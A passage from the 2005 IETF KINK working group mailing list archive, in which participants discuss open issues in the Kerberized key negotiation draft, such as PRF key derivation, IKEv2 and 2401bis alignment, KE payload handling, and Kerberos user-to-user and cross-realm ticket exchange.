algorithm): This checksum may not be deterministic and is probably not appropriate for use in setting up a key. A PRF is provided, although depending on how the hash is used the PRF may or may not be a suitable replacement. There has been significant discussion within krb-wg on when the PRF is appropriate and when it is not. This discussion centered around key determination in pkinit. (Sam Hartman) Related thread: <20050210161443XN%kamada@nanohz.org> Proposed solution: - use RFC 3961 PRF (instead of "hash") to generate KEYMAT. (PRF is suitable for key generation for KINK.) #26 [*] Key derivation (section 8) The key derivation seems inconsistent with the crypto framework document. (Sam Hartman) I don't understand what this section says well enough to determine whether it works with kcrypto. (Sam Hartman) #27 [*](2401bis) SPD Considerations (section 10.1) This should not go in the security considartions section. It is really more about IPsec architectural considerations than security considerations. This text needs to take into account 2401bis. In particular it needs to be properly split between SPD considerations and PAD considerations. (Sam Hartman) Related thread: Message-ID: <420865DD.1040507@miyazawa.org> #28 [*] Key usage Usage of kink should specify the key usage numbers for kerberos encryption. (Sam Hartman) You can assign the numbers out of the space reserved for applications if principals used for kink will not be used for other purposes. If principals used for kink will be used for other purposes it is probably desirable to talk to Tom Yu and get a key usage number added to 1510ter. You'll also want to add the same key usage number to Kink to avoid a normative reference to 1510ter. (Sam Hartman, Message-ID: ) #29 [*](2401bis) Rekeying (section 4.4.1) (solution proposed) section 4.4.1: Please make sure this discussion is aligned with 2401bis. I think it may change small details but they seem to have adopted much of the same strategy kink uses. The area wher I believe they speak to this issue is when you should rekey (timers etc). (Sam Hartman) Related thread: <42119FC4.8020607@miyazawa.org> Proposed solution: - hard lifetime minus rekey margin --> soft lifetime. - randomize soft lifetime. #30 [*](2401bis) IKEv2 Should we adopt IKEv2? If we should... - IKEv2 does not have DOI, so how to handle the DOI field in the KINK packet header should be described. - Use TS (Traffic Selector) instead of ID (Identification). - KEYMAT calculation is changed. - How to handle REKEY_SA Notify type. - IKEv2 doesn't negotiate the SA lifetime. Rekeying in KINK is up to the initiator. Therefore, the lifetime of the responder can happen to be shorter, and the responder has no way to rekey. Related threads: Message-ID: Message-ID: <20050120111553S.sakane@kame.net> #31 [*] behavior on KINK_ERROR In implementor's point of view, I'd like to see initiator's behavior in receiving KINK_ERROR to be defined. For example: - When KINK_OK is received, initiator MAY act as if the KINK_ERROR payload was not included in the messaged. - When KINK_BADQMVERS is received and the Cksum is verified, initiator MAY retry in other Quick Mode version. - When one of other error codes is received and the Cksum is verified, initiator SHOULD abort the negotiation. when does the responder generate these errors? Related thread: <42198868.7080309@miyazawa.org> #32 [-] I-D nits (waiting revised i-d) Review the I-D nits and RFC authors docs. I spotted a lot of mechanical things (number of lines per page; avoid hyphenation; use ragged right margin; need two spaces after sentence-ending period; fix page numbers in table of contents; add section numbers to TOC) most of which I think are specified in one of those documents. (Ken Raeburn) the document needs to meet all the ID nits when it is submitted. (Sam Hartman) #33 [-] IANA considerations (section 11) I think the correct terminology is "port number", not "port", and they're "assigned", not "created". This section says no new registries are required in the first paragraph, and the third one specifies that IANA must create one (but without the associated procedural data that is required nowadays). Are the KINK payload types and ISAKMP payload types actually ever used in the same field? If not, I don't think they need to come out of the same registry. (Ken Raeburn) Needs work. You may want to stop by tthe IANA office hours and ask them for advice. They are generally quite good at working with authors to figure out how things need to be specified. (Sam Hartman) See BCP 26 (RFC 2434). #38 [-] Terminology (waiting revised i-d) Section 2 and 10.1. Kerberos is now using the term user-user rather than user-to-user. (Sam Hartman) Section 2. Principals are not either client or service principals; they can and often do fill both roles. (Sam Hartman) #40 [-] Wording (waiting revised i-d) Section 2, last paragraph. "Between" is generally non-directional, but in this case, a direction seems to be intended to be inferred; try "from...to" instead. (Ken Raeburn) #41 [-] Wording in section 3, Protocol Overview Section 3, English usage/grammar problems with the first two paragraphs. (Sam Hartman) Section 3. which allows a final acknowledgment message when the respondent needs a full three-way handshake. This is only needed when the optimistic keying route is not taken, though it is expected that that will not be the norm. KINK also provides rekeying and dead peer detection as What is expected not to be the norm? Please reword. (Sam Hartman) #42 [-] Wording (waiting revised i-d) Section 4.3, discussing attributes, mixes singular and plural indications. The word "lone" appears to be popular with the author, too. :-) (Ken Raeburn) #43 [-] Wording (waiting revised i-d) Sec 8: "By optional, it is meant..." is badly worded. (Ken Raeburn) #35 [-] References (solution proposed) The reference to [PKCROSS] is unnecessary, and only happens once, in the introduction. I'd suggest dropping it. That's one less unpublished I-D in the references section. (Ken Raeburn) [KRBREVS] is referenced but not listed in the references section. (Ken Raeburn) Sec 5.1.7, next to last paragraph on page 21, is "IKE" (the protocol) fuzzy about use of different SAs, or is it "[IKE]" (the document)? (Ken Raeburn) Section 1: Remove the reference to pkcross or cite something outside the IETF. It's an expired ID without and active editor. (Sam Hartman) Section 1: Add an informative reference to IKE. (Sam Hartman) Section 2: Cite a reference for DER. (Sam Hartman) Section 5: DOI Cite a specific registry please. IANA registries are typically named, and a URL reference would probably be appropriate. #36 [-] Typos (waiting revised i-d) 4.4.2. Dead Peer Detection In the fourth paragraph, "loose" is to be "lose". 5.1 KINK Payloads In the first item, the length of the Next Payload should be one octet instead of two. 5.1.1. KINK Padding Rules In the second item, "other other" is to be "other". 5.1.1. KINK Padding Rules The first item in the list should end with a period like the others. (Ken Raeburn) 5.1.5. KINK_TGT_REQ Payload In the third item, "krbtgt/REALM/@REALM" is to be "krbtgt/REALM@REALM". 5.1.6. KINK_TGT_REP Payload In the caption of Figure 13, "KINK_TGT_REQ" is to be "KINK_TGT_REP". 7.3. CREATE "IPspec" is to be "IPsec". 7.5. STATUS In the last paragraph, "REPLY KINK Header" should be in one line. In the last paragraph, "[KRB_ERROR]" is to be "[KINK_ERROR]". overall: "'s" is used in some places where I'd use "s" for a plural form. -- KAMADA Ken'ichi From owner-ietf-kink Tue Feb 22 02:53:56 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1MArt6b098617; Tue, 22 Feb 2005 02:53:55 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1MArtBj098616; Tue, 22 Feb 2005 02:53:55 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1MArg0r098368 for ; Tue, 22 Feb 2005 02:53:54 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (kame199.kame.net [203.178.141.199]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j1MArYhB075890 for ; Tue, 22 Feb 2005 19:53:34 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: #30 [*](2401bis) IKEv2 X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050222195329O.sakane@kame.net> Date: Tue, 22 Feb 2005 19:53:29 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 6 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: As the previous discussion in this mailing list, I understand that it is not important thing where KINK comform to IKEv2 specification. That was likely to misunderstand. So I would like to close #30 if anybody does not have any objection. However we don't forget to describe 2401bis things clearly. From owner-ietf-kink Thu Feb 24 16:57:49 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1P0vmnj084204; Thu, 24 Feb 2005 16:57:48 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1P0vm34084203; Thu, 24 Feb 2005 16:57:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1P0vlhj084181 for ; Thu, 24 Feb 2005 16:57:48 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id E5D4D5E for ; Fri, 25 Feb 2005 09:57:21 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 2Dq8aI; Fri, 25 Feb 2005 09:57:21 +0900 (JST) Date: Fri, 25 Feb 2005 09:58:59 +0900 Message-ID: <20050225095859QT%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: <20050222152934Z.sakane@kame.net> References: <20050222151212IS%kamada@nanohz.org> <20050222152934Z.sakane@kame.net> User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At Tue, 22 Feb 2005 15:29:34 +0900, Shoichi Sakane wrote: > > > > > > so I would like to propose the following process. any idea ? > > > > > > > > > > All node conformed to the document MAY implement the KE payload > > > > > handling. If a node receives a KE payload, and the receiver does not > > > > > support the KE handling, and does not want to proceed the negotiation, > > > > > then the receiver SHOULD send a Notify payload of the type > > > > > NO_PROPOSAL_CHOSEN to the sender. If the receiver wants to keep the > > > > > negotiation without the KE payload handling, then the receiver sends > > > > > a response witout a KE payload. the sender MAY reject it by its policy > > > > > in this case. > > > > > > I meant the sender was the initiator. > > > > > > > The sender (I assume you meant the initiator) can't reject it > > > > because the ACK message can't carry it. > > > > > > the one does not need to proceed the ACK handling. as referencing to > > > the section 7.2, when the initiator reject it, then the initiator > > > SHOULD re-send a CREATE message without KE payload. > > > > How the responder distinguish it from a brand new CREATE? > > Without distinction, the responder can't know whether the > > first CREATE succeeded or not. > > can the Transaction ID be used for this purpose ? > otherwise, the section 7.2 description won't work, will it ? I don't like sending multiple (different in parameters) commands in a transaction. - It makes things complex when packets are dropped, retransmitted, reordered, etc. - The current spec says "A transaction is defined as a command, a reply, and an optional acknowledgment." I interpreted the word "reinitiate" in section 7.2 that we can take another transaction(s). -- KAMADA Ken'ichi From owner-ietf-kink Thu Feb 24 18:43:00 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1P2h0Qw090342; Thu, 24 Feb 2005 18:43:00 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1P2h06a090341; Thu, 24 Feb 2005 18:43:00 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1P2gwTT090322 for ; Thu, 24 Feb 2005 18:42:59 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 940935E for ; Fri, 25 Feb 2005 11:42:33 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 2NL7aX; Fri, 25 Feb 2005 11:42:33 +0900 (JST) Date: Fri, 25 Feb 2005 11:44:11 +0900 Message-ID: <20050225114411XP%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Kerberos U2U and KINK GETTGT (#3, #44,...) User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: The designer of GETTGT and/or Kerberos people, The current KINK_TGT_REQ carries only a realm name, but why does it have been specified in that way? That is, sending the responder's full principal name seems reasonable to me. - In non-U2U case, the initiator is expected to know the responder's principal name. I think it is also true in U2U case. (Here, I don't care where it is from; PAD, generated form FQDN, etc.) - If the initiator specifies the responder's principal (instead of the realm), the U2U sequence seems to work well as follows. 1) The initiator somehow decide to use U2U mode. (I think this is a Kerberos issue and not to be specified in KINK.) a) manually preconfigured. b) KDC_ERR_MUST_USE_USER2USER in the reply to TGS-REQ. c) KRB_AP_ERR_USER_TO_USER_REQUIRED in the reply to AP-REQ. 2) The initiator send KINK_TGT_REQ with the responder's principal name. 3) The responder's returns its TGT. The cname field of the TGT must be the same with the specified principal. (Regarding the sname field, I will write another mail with the consideration of cross-realm issues.) 4) The initiator do TGS-REQ; with the ENC-TKT-IN-SKEY option, with the TGT as the additional-ticket field, and with the responder's principal as the sname field. 5) The KDC makes a service ticket and returns it. At this time, the KDC compares the sname field in the TGS-REQ and the cname field in the TGT, so the responder's principal name is authenticated. 6) The initiator uses the service ticket with the USE-SESSION-KEY flag. 7) continue as usual thanks, -- KAMADA Ken'ichi From owner-ietf-kink Fri Feb 25 01:19:04 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1P9J39c080720; Fri, 25 Feb 2005 01:19:03 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1P9J3Lx080719; Fri, 25 Feb 2005 01:19:03 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from nasten.nanohz.org (usen-220x218x5x242.ap-US00.usen.ad.jp [220.218.5.242]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1P9J2kU080657 for ; Fri, 25 Feb 2005 01:19:03 -0800 (PST) (envelope-from kamada@nanohz.org) Received: from nasten.nanohz.org (localhost [127.0.0.1]) by nasten.nanohz.org (Postfix) with ESMTP id 388D65E for ; Fri, 25 Feb 2005 18:18:53 +0900 (JST) Received: from mitana.nanohz.org ([2001:240:2:0:202:8aff:fefa:bec0]) by nasten.nanohz.org (smtpsugar 1.1) with ESMTPA id 3uxAW9; Fri, 25 Feb 2005 18:18:53 +0900 (JST) Date: Fri, 25 Feb 2005 18:20:30 +0900 Message-ID: <20050225182030XN%kamada@nanohz.org> From: "KAMADA Ken'ichi" To: ietf-kink@vpnc.org Subject: Cross-realm and U2U (#19,...) User-Agent: Wanderlust/2.12.2 (99 Luftballons) SEMI/1.14.6 (Maruoka) FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/21.3.50 (i386-unknown-netbsdelf2.0G) MULE/5.0 (SAKAKI) MIME-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka") Content-Type: text/plain; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: # I've not been familier with cross-realm nor U2U, so pointing # out mistakes are truely appreciated. Based on this and previous (<20050225114411XP%kamada@nanohz.org>) mails, I would propose: - change the KINK_TGT_REQ payload to carry the responder's principal name. - change the KINK_TGT_REP payload to carry only the TGT. - when the resonder is requested a TGT, it returns an initial TGT in the same realm with the reqested responder's principal in the KINK_TGT_REQ. ---------------------------------------------------------------- In this mail (from here), I discuss which TGT should be returned to the GETTGT command and how it works Let's say: A, B, and C is a realm. initiator@A is a KINK initiator principal. responder@C is a KINK responder principal. responder@C is a user (or PKINIT) principal. There is a trust relationship between A and B, and also between B and C. When initiator@A wants to authenticate itself to responder@C, there seems to be 2 ways: 1) initiator@A transit to the realm C and do an U2U authentication at the KDC in C. The responder's TGT used here is the initial TGT of realm C. 2) responder@C transit to the realm A and do an U2U authentication at the KDC in A. The responder's TGT used here is the cross-realm TGT for realm A. While I'm not confident that I completely understand the concept of the "trust relationship" represented as a inter-realm key, I think 1) is the right way. Reasons are below. - If the trust relationship is unidirectional, 2) allows a "reverse-direction" authentication. - initiator@A doesn't know whether responder@C can transit to the realm A, while it knows whether it can transit to the realm C, or at least can try it. So my conclusion is the responder should return its initial TGT. When the cross-realm and U2U case, the initiator should transit to the responder's realm and do an U2U authentication there. -- KAMADA Ken'ichi From owner-ietf-kink Sun Feb 27 15:28:10 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1RNSAHH071566; Sun, 27 Feb 2005 15:28:10 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1RNSAT3071565; Sun, 27 Feb 2005 15:28:10 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1RNRuFG071557 for ; Sun, 27 Feb 2005 15:28:09 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (ZH086126.ppp.dion.ne.jp [222.3.86.126]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j1RNSGhB035875 for ; Mon, 28 Feb 2005 08:28:16 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: #23 [*] KE interoperability (section 6.8) In-Reply-To: Your message of "Fri, 25 Feb 2005 09:58:59 +0900" <20050225095859QT%kamada@nanohz.org> References: <20050225095859QT%kamada@nanohz.org> X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050228082837W.sakane@kame.net> Date: Mon, 28 Feb 2005 08:28:37 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 38 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > > can the Transaction ID be used for this purpose ? > > otherwise, the section 7.2 description won't work, will it ? > > I don't like sending multiple (different in parameters) commands > in a transaction. > - It makes things complex when packets are dropped, retransmitted, > reordered, etc. > - The current spec says "A transaction is defined as a command, > a reply, and an optional acknowledgment." > > I interpreted the word "reinitiate" in section 7.2 that > we can take another transaction(s). Okey, It is bad thing to reinitiate with identical transaction identifier. It would be better to improve the text about the reinitiation and the usage of the transaction ID. I think that this issue is not only related to the KE payload handling, but also the case when the responder does not choice the optimistic proposal from the intiator. for keeping the consistency of the protocol design, we have three choices. 1. the KE handling is an implicit proposal. When the initiator send a KE payload, but the responder will not reply with a KE payload, that means the responder does not want to choice the KE handling, or does not support it. The initiator must proceed the session as if the KE handling was not present at all. 2. the KE handling is an explicit proposal. When the initiator gives choices of the KE handling to the responder, then the initiator must send two proposals. 3. the KE payload handling can not be negotiated. When the responder does not like the KE handling, the responder just reply an error. The initiator must proceed the next step properly. #3 is easy, isn't it ? From owner-ietf-kink Mon Feb 28 08:25:41 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1SGPfEN083918; Mon, 28 Feb 2005 08:25:41 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j1SGPfHI083917; Mon, 28 Feb 2005 08:25:41 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from dogbert.ihtfp.org (me@DOGBERT.IHTFP.ORG [204.107.200.33]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j1SGPYNU083898 for ; Mon, 28 Feb 2005 08:25:35 -0800 (PST) (envelope-from warlord@MIT.EDU) Received: (from warlord@localhost) by dogbert.ihtfp.org (8.12.9) id j1SGPFgS006210; Mon, 28 Feb 2005 11:25:15 -0500 From: Derek Atkins To: agenda@ietf.org Cc: ietf-kink@vpnc.org Subject: KINK Agenda for IETF-62 Date: Mon, 28 Feb 2005 11:25:15 -0500 Message-ID: User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: KINK is meeting at IETF-62 in Minneapolis on Friday. FRIDAY, March 11, 2005 0900-1130 Morning Sessions SEC kink Kerberized Internet Negotiation of Keys WG The agenda for this meeting is: :00-:05 Agenda bashing Find a Secretary / Jabber Scribe :05-:25 2401 v. 2401bis (Steve Kent?) :25-:45 1510 v. clarifications / kcrypto (Ken Raeburn?) :45-:05 draft-ietf-kink-kink editorial status (Mike Thomas?) :05-?? Discussion of Open Issues (KAMADA Ken'ichi?) The named people are proposed presenters. -derek -- Derek Atkins 617-623-3745 derek@ihtfp.com www.ihtfp.com Computer and Internet Security Consultant From owner-ietf-kink Mon Feb 28 17:07:48 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j2117mwb022924; Mon, 28 Feb 2005 17:07:48 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j2117mi2022923; Mon, 28 Feb 2005 17:07:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j2117Wwr022895 for ; Mon, 28 Feb 2005 17:07:47 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (cp.64translator.com [202.214.123.2]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j2117WhB048426 for ; Tue, 1 Mar 2005 10:07:32 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: KINK Agenda for IETF-62 In-Reply-To: Your message of "Mon, 28 Feb 2005 11:25:15 -0500" References: X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050301095329I.sakane@kame.net> Date: Tue, 01 Mar 2005 09:53:29 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 35 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Hi, thank you for the arrangement. I am just afraid that both Ken and Mike are not listed on the attendees list. I hope they will attend there. Almost solutions are proposed on the mailing list, so I would like to just confirm the solutions at the discussion of open issues. if you have any objection, please speak up here. no one has touched #2, #3 and #44. anybody has any solution ? > KINK is meeting at IETF-62 in Minneapolis on Friday. > > FRIDAY, March 11, 2005 > 0900-1130 Morning Sessions > SEC kink Kerberized Internet Negotiation of Keys WG > > The agenda for this meeting is: > > :00-:05 Agenda bashing > Find a Secretary / Jabber Scribe > :05-:25 2401 v. 2401bis (Steve Kent?) > :25-:45 1510 v. clarifications / kcrypto (Ken Raeburn?) > :45-:05 draft-ietf-kink-kink editorial status (Mike Thomas?) > :05-?? Discussion of Open Issues (KAMADA Ken'ichi?) > > The named people are proposed presenters. > > -derek > > -- > Derek Atkins 617-623-3745 > derek@ihtfp.com www.ihtfp.com > Computer and Internet Security Consultant > From owner-ietf-kink Sun Mar 6 14:05:47 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j26M5lBE006442; Sun, 6 Mar 2005 14:05:47 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j26M5lQR006441; Sun, 6 Mar 2005 14:05:47 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from miyazawa.org (usen-221x116x13x66.ap-US01.usen.ad.jp [221.116.13.66]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j26M5ZLL006403 for ; Sun, 6 Mar 2005 14:05:35 -0800 (PST) (envelope-from kazunori@miyazawa.org) Received: from [IPv6:2001:468:19ff:128:c0e8:7f4c:a985:f22d] ([2001:468:19ff:128:c0e8:7f4c:a985:f22d]) (AUTH: LOGIN kazunori, SSL: TLSv1/SSLv3,256bits,AES256-SHA) by miyazawa.org with esmtp; Mon, 07 Mar 2005 07:04:04 +0900 id 00007D81.422B7E54.00006734 Message-ID: <422B7E6F.2060405@miyazawa.org> Date: Mon, 07 Mar 2005 07:04:31 +0900 From: Kazunori Miyazawa User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: ja, en-us, en MIME-Version: 1.0 To: Michael Thomas CC: Shoichi Sakane , hartmans-ietf@MIT.EDU, ietf-kink@vpnc.org Subject: Re: KINK issue list rev.2 References: <1107377028.6704.22.camel@thomasm-lnx.cisco.com> <20050204192217C.sakane@kame.net> <1107528682.8247.41.camel@thomasm-lnx.cisco.com> In-Reply-To: <1107528682.8247.41.camel@thomasm-lnx.cisco.com> Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Michael Thomas wrote: > On Fri, 2005-02-04 at 02:22, Shoichi Sakane wrote: > > >>I don't think KINK will have minor change often, and I don't think the >>minor version will bring worth things to KINK. so I feel that I want >>to remove the minor version from KINK specification. > > > I fine with this is others are fine with this too. > There is no objection. Let's close issue #1 by removing the minor version. -- Kazunori Miyazawa From owner-ietf-kink Sun Mar 6 17:24:38 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j271OcUZ020261; Sun, 6 Mar 2005 17:24:38 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j271OcHh020260; Sun, 6 Mar 2005 17:24:38 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j271OPtR020191 for ; Sun, 6 Mar 2005 17:24:37 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (wireless-130-129-134-20.ietf62.ietf.org [130.129.134.20]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j271O7hB091549; Mon, 7 Mar 2005 10:24:08 +0900 (JST) (envelope-from sakane@kame.net) To: hartmans-ietf@mit.edu Cc: ietf-kink@vpnc.org Subject: Re: clean #37 and #5 and introduce #45 In-Reply-To: Your message of "Sun, 20 Feb 2005 22:33:21 -0500" References: X-Mailer: Cue version 0.8 (041108-2350/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20050307083526A.sakane@kame.net> Date: Mon, 07 Mar 2005 08:35:26 +0900 From: Shoichi Sakane X-Dispatcher: imput version 20030322(IM144) Lines: 16 X-Virus-Scanned: clamd / ClamAV version 0.75.1, clamav-milter version 0.75c on papa.tanu.org X-Virus-Status: Clean Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I believe that #45 can be solved at least by adding more clarification related to the KE handling, the non-optimistic proposal handling and the nonce handling. the descriptions are slightly dispersed in the current document. > Hi. I don't believe that <20050204170451BM%kamada@nanohz.org> > actually gives a good answer to which key is used on each side. > > I understand section 8's purpose is to answer this issue, but I did > not find it clear. I believe that section 8 is going to need to > change to specify use of the kcrypto prf. > > I think that once this change is made I should either say that the > result is clear or explain exactly what I think is missing. I suspect > I may want some text copied in from the IKE RFC. > From owner-ietf-kink Sun Mar 6 17:34:30 2005 Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j271YUqr021143; Sun, 6 Mar 2005 17:34:30 -0800 (PST) (envelope-from owner-ietf-kink@mail.vpnc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id j271YUQi021142; Sun, 6 Mar 2005 17:34:30 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-kink@mail.vpnc.org using -f Received: from papa.tanu.org (kame195.kame.net [203.178.141.195]) by above.proper.com (8.12.11/8.12.9) with ESMTP id j271YSew021134 for ; Sun, 6 Mar 2005 17:34:29 -0800 (PST) (envelope-from sakane@kame.net) Received: from localhost (wireless-130-129-134-20.ietf62.ietf.org [130.129.134.20]) by papa.tanu.org (8.12.9/8.12.8) with ESMTP id j271YohB091631 for ; Mon, 7 Mar 2005 10:34:51 +0900 (JST) (envelope-from sakane@kame.net) To: ietf-kink@vpnc.org Subject: Re: AD Review: draft-ietf-kink-kink [starting at section 5] In-Reply-To: Your message of 